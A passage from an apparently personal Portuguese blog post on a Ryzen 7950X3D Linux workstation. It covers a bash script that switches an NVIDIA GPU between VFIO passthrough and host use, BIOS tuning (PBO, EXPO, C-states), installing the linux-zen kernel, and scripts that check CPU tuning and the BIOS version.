  echo "$NVIDIA_AUDIO" | sudo tee /sys/bus/pci/drivers/vfio-pci/bind >/dev/null
}

load_nvidia_headless() {
  echo "🔓 Loading NVIDIA in headless mode..."

  # Clear any existing overrides
  echo "" | sudo tee "$PCI_PATH/$NVIDIA_GPU/driver_override" >/dev/null
  echo "" | sudo tee "$PCI_PATH/$NVIDIA_AUDIO/driver_override" >/dev/null

  # Load modules with headless options
  sudo modprobe nvidia NVreg_InitializeSystemMemoryAllocations=0
  sudo modprobe nvidia_modeset
  sudo modprobe nvidia_uvm
  sudo modprobe nvidia_drm modeset=0

  # Bind devices
  echo "$NVIDIA_GPU" | sudo tee /sys/bus/pci/drivers/nvidia/bind >/dev/null
  echo "$NVIDIA_AUDIO" | sudo tee /sys/bus/pci/drivers/nvidia/bind >/dev/null

  # Lock DRM nodes
  sudo chmod 000 "$DRM_PATH/card0" 2>/dev/null # NVIDIA
  sudo chmod 660 "$DRM_PATH/card1" 2>/dev/null # AMD
}

#  Command Handlers 

vm_mode() {
  current_driver=$(get_driver "$NVIDIA_GPU")

  if [[ "$current_driver" == "nvidia" ]]; then
    if is_gui_session; then
      echo "⚠️  Please switch to TTY (Ctrl+Alt+F2) and run:"
      echo "   sudo systemctl stop gdm && sudo nvidia-unlock"
    else
      echo "⚠️  Already in TTY - running nvidia-unlock..."
      if [ -x "$UNLOCK_SCRIPT" ]; then
        sudo "$UNLOCK_SCRIPT"
      else
        echo "❌ Error: nvidia-unlock not found at ${UNLOCK_SCRIPT}"
        echo "ℹ️  Make sure both scripts are in the same directory"
        exit 1
      fi
    fi
    exit 1
  fi

  load_vfio
  print_status
}

host_mode() {
  current_driver=$(get_driver "$NVIDIA_GPU")
  if [[ "$current_driver" == "vfio-pci" ]]; then
    echo "🔄 Releasing vfio-pci binding..."
    echo "$NVIDIA_GPU" | sudo tee /sys/bus/pci/drivers/vfio-pci/unbind >/dev/null
    echo "$NVIDIA_AUDIO" | sudo tee /sys/bus/pci/drivers/vfio-pci/unbind >/dev/null
  fi

  load_nvidia_headless
  echo && nvidia-smi
  print_status
}

#  Main 

case "$1" in
on) vm_mode ;;
off) host_mode ;;
status) print_status ;;
*)
  echo "Usage: $0 [on|off|status]"
  echo "  on     - Prepare GPU for VM (may require nvidia-unlock)"
  echo "  off    - Enable NVIDIA for host (headless mode)"
  echo "  status - Show current GPU status"
  exit 1
  ;;
esac

Pra rodar é a mesma coisa: nvidia-locker off vai tirar o bloqueio da vfio-pci e carregar os drivers da Nvidia quando eu quero rodar uma LLM de IA nativo no meu Linux ou renderizar alguma coisa no Blender com Cycles.

Depois que terminar, e eu quiser rodar Windows na VM. Ctrl-Alt-F3, novo login no terminal puro texto, e nvidia-locker on. Isso vai matar a GDM, descarregar os drivers da NVIDIA, recarregar o bloqueio do vfio-pci e reiniciar o GDM pra eu logar de novo no modo gráfico. E de lá posso abrir via comando virsh start ou usando a interface gráfica Virtual Machine Manager se quiser usar Display Spice, por exemplo.

E é isso, o artigo é mais pra eu não me esquecer do que eu fiz, pra no futuro usar de referência.

Eu sei que toda placa-mãe vem pré-configurada em “defaults” seguros e conservadores, o mais estável e não o mais performático. Então se não entrar na BIOS pra mexer, vai estar deixando performance na mesa.

Eu tenho uma CPU AMD Ryzen 9 7950X3D. O processador é um pacote com um pacote que funciona do dois “dies”, não sei se é “chip” um jeito de visualizar. Cada um deles tem 8 cores, totalizando os 16 cores e cada core com 2 threads, então 32 threads possíveis em paralelo.

Mas tem uma diferença, cada die tem caches L3 diferentes. Um dos dies tem só 32MB e o outro tem 96MB, então programas mais pesados se beneficiam se rodarem nos cores do die que tem mais L3, e dá pra configurar isso.

Além disso ele tem clock base acho que de 3Ghz com capacidade de dar turbo boost até 5.7Ghz. Não pode tudo rodar nessa velocidade senão esquenta muito rápido e pode dar “thermal throttle” e aí ele derruba tudo pra baixo de 3Ghz. Por isso que, principalmente em notebooks que não tem capacidade térmica adequada, o melhor não é dar overclocking e sim “undervolting” (cortar a energia pra ir menos rápido). Porque é melhor todo mundo um pouco menos rápido do que todo mundo super rápido mas imediatamente super-aquecer e todo mundo ficar lento. É complexo isso.

Pra complicar mais eu tenho 96GB de RAM DDR5 6000. Capaz do máximo teórico de 6Ghz, mas isso é teórico porque pode dessincronizar tudo e causar instabilidades até crashear um kernel panic. Por isso o default da placa mãe é a velocidade base acho que de 4Ghz e CPU no máximo indo até 4Ghz mais ou menos também.

Mas dá pra subir isso um pouco sem deixar instável. Em resumo eu fiz o seguinte:

PBO - Precision Boost Overdrive

Os CPUs Ryzen tem PBO pra dar turbo boost no clock dos cores. Ele costuma vir ou desativado ou numa configuração conservadora, então seu CPU de 5.7Ghz pode estar operando só em 4Ghz ou menos e nunca entregando o máximo.

Pra ajustar isso, se quiser ser avançado, precisa ajustar parâmetros como PPT (Package Power Tracking) pra 200W ou mais. TDC (Thermal Design Current) pra 160A ou mais. EDC (Electrical Design Current) pra 200A ou mais. E pode configurar uma otimizador de curva, por core, pra negativo (-10 ou -20) pra reduzir voltagem, o que pode permitir clocks de boost mais altos.

Mas isso é muito avançado, e precisa saber bem mais de elétrica antes de tentar na não. Melhor não arriscar e não mexer nisso. A tela a seguir, não deixe em Avançado e sim em Auto mesmo:

Em vez disso é melhor mexer em PBO Enhancement Presets, que é essa tela abaixo:

70/80/90 se refere à temperatura máxima que permitimos os cores de chegarem. Isso vai depender se você tem uma boa solução de resfriamento. Seja um AIO com resfriamento líquido ou um Noctua NH-D15 G2 que é o que eu uso. Ventoinhas da Noctua são hiper silenciosas, eu quase nunca ouço e tem menos manutenção e possibilidade de falhas do que refriamento líquido. Eu prefiro menos peças móveis pra garantir.

[

Agora esses Level 1 a 5 são as tunagens de PPT/TDC/EDC que eu falei, mas já pré-definidas e testadas pelo fabricante. 1 é menos agressivo, o mais estável já 5 é o mais agressivo, pode ser instável. O certo é começar em 90 level 5 e ir diminuindo até achar o mais estável pro seu sistema. Isso vai variar, por exemplo, quando mais RAM tiver, menos agressivo parece que pode ser, especialmente quanto mais rápido essa RAM for.

No meu caso, logo no boot do meu Manjaro Linux, já deu kernel panic, que se parece com algo assim:

Então voltei pra BIOS e fui testando diferentes níveis e, pra minha configuração, consegui chegar só até 90 Level 2. Esse tem sido estável e até agora não tive nenhum crash aleatório.

Além disso, recentemente (começo de 2025) fabricantes de placa-mãe soltaram atualizações de firmware que abriram acesso a uma funcionalidade chamada X3D Turbo Mode. Se você ver isso, não pense que é mais performance grátis. Na realidade, a menos que use a máquina mais pra games, vai sentir até que ela ficou mais lenta.

Como expliquei antes, Ryzen 9 tem 1 CCD (core complex), que é o die com 96MB de cache L3 (V-Cache). Turbo mode tenta forçar mais programas pro CCD que NÃO tem V-Cache (o de 32MB), e que por isso consegue ter um boost maior de clock mas tem mais latência. Isso é bom pra games - que normalmente não se beneficiam de ter mais cache e sim mais clock.

Mas ao mesmo tempo, programas que precisam do V-Cache vão acabar caindo mais vezes no Core com MENOS cache L3 e aí vão performar pior que antes. Exemplos disso são programas de modelagem 3D como Blender, justamente o que eu quero usar mais agora. Por isso teste, mas em princípio pode deixar desligado.

Essa opção no meu firmware se chama “X3D Turbo Mode” mas em outros lugares pode ser “3D V-Cache Performance Optimizer”, é a mesma coisa.

XMP/EXPO RAM

Agora, a RAM DDR5 boota no clock base de uns 4.8Ghz. Mas dependendo do modelo da RAM ela pode ir muito mais, no meu caso pra 6Ghz. Toda memória moderna também tem diversas configurações como a frequência, latência, voltagem e mais. De novo, não vale a pena tentar parametrizar isso na mão. É melhor usar perfis pré-definidos (profiles). A Intel chama esse suporte de XMP e a AMD chama de EXPO.

Esqueci de tirar foto da minha BIOS, mas essa foto do Google Images um pouco mais antiga é a mesma coisa. XMP/EXPO vem desligado (conservador) mas é só escolher o profile que já existe:

Note que logo embaixo tem coisas como Low Latency Support e High Bandwidth Support. Teoricamente pra diminuir a latência e aumentar a banda de transferência. Tudo que soa muito bom, mas no meu caso não funciona. Se eu tento ligar esses dois, meu sistema não dá boot. Fui obrigado a limpar a CMOS pra reiniciar a BIOS sem isso.

O problema: possivelmente muita memória (96GB). Talvez se você tiver menos, 32GB, por aí, isso funcione, mas parece que quanto mais se tem, mais instável fica se tenta ir rápido demais.

Outro problema, em DDR5, quanto mais memória, mais lento é o Cold Boot, o boot inicial quando o PC estava desligado. A BIOS precisa fazer uma checagem nas memórias pra garantir esses parâmetros, tempo de resposta e tudo mais. E isso acontece em TODO boot. Pode levar alguns minutos e alguns podem achar até que a máquina travou, mas é só essa checagem.

Na BIOS tem uma opção chamada Memory Context Restore onde ele usa os parâmetros que gravou da última vez que fez essa checagem. Mas não recomendo, pra mim inclusive nem boota mais depois de habilitar isso. Teoricamente ele iria cortar o tempo de checagem e reusar dados antigos, mas esses dados podem não bater (os valores podem flutuar) e isso torna o sistema todo instável. Melhor esperar um minuto a mais no boot do que ficar com o sistema instável.

Em configurações avançadas de memória tem mais uma coisa que devemos mexer: DF C-States, que precisa estar DESABILITADO. Em teoria essa funcionalidade é pra reduzir a latência entre CPU e memória. Mas em sistemas com muita RAM (96GB ou mais como a minha) isso também pode causar instabilidade a custo de não muito ganho notável. Prefiro ficar estável nesse caso.

Outra configuração pra mudar é Power Supply Idle Control tem que mudar pra “Typical Current Idle”, e até agora (pode surgir um update de correção da firmware), é mandatório pra processadores Ryzen (mesmo AM5). isso previne estado de dormir “Deep Power State”, o que pode causar kernel panics aleatórios.

Mesma coisa pra Global C-State Control que também precisa desabilitar pelo mesmo motivo: evitar “deep sleep states” (C6/C10) quando a CPU fica em “idle” (sem fazer nada) por muito tempo. Essas funcionalidades existem pra economizar energia, mas parece que AMD tem bugs quando a CPU é forçada a esse estado e quando acorda, volta instável ou crasheando. Então ele vai consumir mais energia quando não tá fazendo nada (por volta de menos de 20W, em vez de perto de zero), mas pelo menos não vai ficar instável. Se quiser economizar energia, melhor é dar shut-down e desligar a força mesmo, quando não estiver usando.

Resumo da BIOS (pra mim)

• PBO Enhancement: 90 Level 2 (clock boost um pouco mais agressivo que o default)
• Power Supply Idle Control: Typical Current Idle (prevenir o bug de crash em idle)
• Global C-State Control: Desabilitado (evita dormir profundo, causando instabilidade)
• DF C-States: Desabilitado (também evita dormir, melhorando latência da Infinity Fabric)
• XMP/EXPO: Profile XMP1 se tiver (aumenta clock da memória)

Tem 2 coisas importantes, especialmente se estiver usando GPUs discretas:

• Above 4G Decoding e Re-Size Bar Support. No meu caso ambas estão ligadas por padrão, se na sua estiver desligada, ligue.

No Linux, dá pra checar se está ligada. Rode o seguinte:

sudo lspci -vv | grep -A 15 VGA

Tem que aparecer “Resizable BAR” assim:

Capabilities: [XX] PCI Express, ... Resizable BAR: Supported (Enabled)

Se não aparecer, vá pra BIOS e procure pra habilitar. Sem isso você não está usando o máximo da sua placa de video. Acho que em iGPUs (que são GPUs que já vem embutida junto com a CPU) aí não tem essa opção mesmo.

Kernel Linux-Zen

Em sempre estive usando a kernel padrão LTS mais estável, agora era Linux66, se não me engano. Mas lembrei que posso usar a kernel Zen, que é a mesma kernel padrão do Arch com tunings de performance pra melhorar latência, especialmente em multi-thread. Ele muda pro scheduler CFS com melhorias. Teoricamente, melhora a responsividade geral do sistema. Acho que vale a pena usar. No Arch/Manjaro é assim:

yay -S linux-zen-versioned-bin linux-zen-versioned-headers-bin

Isso vai desinstalar a kernel antiga e, se estiver usando GPUs NVIDIA, também vai desinstalar o pacote de drivers. Por isso precisa instalar o seguinte pacote também:

yay -S nvidia-dkms

E depois, com tudo instalado, rodar o seguinte comando:

sudo dkms autoinstall

Isso vai instalar de novo os binários dos drivers da nvidia pro novo kernel Zen. No caso do Manjaro, não precisa mexer no GRUB porque no meu caso ele está configurado pra GRUB_DEFAULT=saved em /etc/default/grub. Isso significa que quando reboota, ele vai gravar qual kernel eu escolhi por último, e no próximo reboot, se eu não escolher nada, vai carregar de novo o último kernel que eu escolhi. Prefiro assim do que deixar “hard-coded” qual kernel é o padrão.

Feito isso, no próximo boot só checar:

❯ uname -r
6.14.2-zen1-1-zen

Outra coisa é checar se CPPC está ativo. Isso é Collaborative Processor Performance Control que é uma funcionalidade que expõe pra kernel do OS um ranking de cores (qual tem boost mais alto, quem tem mais cache, etc). Lembra o X3D Turbo Mode que falei antes? Mesmo conceito: pra facilitar o OS escolher pra qual core mandar qual programa pra rodar melhor.

Nem todo firmware de placa-mãe expõe isso como uma opção, no caso do meu X670E da Gigabyte, ele não existe. Significa que provavelmente já vem ligado por padrão. Pra checar se está ligado, basta ir no terminal do Linux e rodar:

cat /sys/devices/system/cpu/cpu*/cpufreq/amd_pstate_highest_perf

Se voltar algum resultado, é porque está ligado e o firmware está informando pra kernel sobre as características de cada core, assim o scheduler tem mais informação pra gerenciar pra onde mandar cada thread.

Outra forma de checar:

ls /sys/devices/system/cpu/cpu0/cpufreq/

Precisa retornar uma lista contendo nomes como estes:

amd_pstate_highest_perf
amd_pstate_nominal_perf
amd_pstate_preferred_core

Que, novamente, é sinal que o Linux está reconhecendo CPPC direito.

O próprio Manjaro, além das kernels estáveis, tem as versões “linux-rt” que é pra sistemas real-time. Tecnicamente, não só é pra ter latência mais baixa, mas sim latências estáveis e mais previsíveis. NÃO USE ESSE TIPO DE KERNEL. Isso é pra sistemas de fábrica ou coisas assim que precisam de determinismo do processamento e não tem tolerância pra latência aleatória. Não significa que vai rodar mais responsivo, pode até ser que rode mais lento, mas o importante é ser um lento previsível.

Outros podem falar da kernel Linux Liquorix, que muitos comparam com a Zen. Mas enquanto a Zen é baseada no próprio kernel que o Arch usa, o do Liquorix é baseada na versão de Debian/Ubuntu. Então não é recomendado usar no Arch/Manjaro. Além disso ele é mais experimental e teoricamente menos estável também. Use se estiver num Ubuntu ou derivados da vida. Em Arch, melhor ficar no Zen.

check_ryzen_perf.sh

Se tiver um sistema Ryzen, copie o seguinte script e rode na sua máquina:

#!/bin/bash

echo "🔍 Verifying Ryzen 7950X3D Tuning on Linux"

echo -n "✅ CPU Driver: "
grep . /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver

echo -n "✅ EPP Mode: "
cat /sys/devices/system/cpu/cpu0/cpufreq/energy_performance_preference

echo -n "✅ CPPC Detected: "
if [ -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_highest_perf ]; then
  echo "Yes"
else
  echo "No"
fi

echo -n "✅ Preferred Core Ranking: "
if [ -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_prefcore_ranking ]; then
  echo "Yes"
else
  echo "No"
fi

echo -n "✅ Running Kernel: "
uname -r

echo -e "\n✅ All key Linux-side Ryzen tuning options appear active.\n"

Na minha máquina ele agora dá este resultado:

🔍 Verifying Ryzen 7950X3D Tuning on Linux
✅ CPU Driver: amd-pstate-epp
✅ EPP Mode: performance
✅ CPPC Detected: Yes
✅ Preferred Core Ranking: Yes
✅ Running Kernel: 6.14.2-zen1-1-zen

✅ All key Linux-side Ryzen tuning options appear active.

Dizendo que, teoricamente, tudo de performance parece estar ativo e funcionando. Caso um deles não esteja, pergunte ao ChatGPT o que fazer pra sua configuração.

Checar versão da BIOS

Muitos fabricantes de placa-mãe oferecem software, pra Windows, pra automaticamente baixar e atualizar o firmware. Mas no caso da Gigabyte, não tem suporte pra Linux. Pra checar que versão está instalada agora, sem precisar entrar na BIOS, no Linux tem este comando:

sudo dmidecode -s bios-version

No meu caso, agora volta F33 (versão de março de 2025). Agora, pra comparar se essa é a versão mais nova, só indo manualmente na porcaria do site da Gigabyte que, no meu caso, é este link. Pro seu modelo específico, e fabricante, lógico, esse link vai variar.

Pra piorar, parece que o conteúdo é carregado assincronamente por javascript, então se tentar usar wgetou curl pela linha de comando, não vai ter carregado o conteúdo ainda.

Resolvi fazer um script idiota pra resolver isso. Primeiro, caso não use mise como eu (veja meu projeto no Github Omakub-MJ pra ter um setup igual o meu), instale Node manualmente assim:

sudo pacman -S nodejs npm

Crie algum diretório pro projeto e de lá faça:

npm init -y
npm install -g playwright
npx playwright install

Crie um arquivo check_bios_playwright.js com este conteúdo: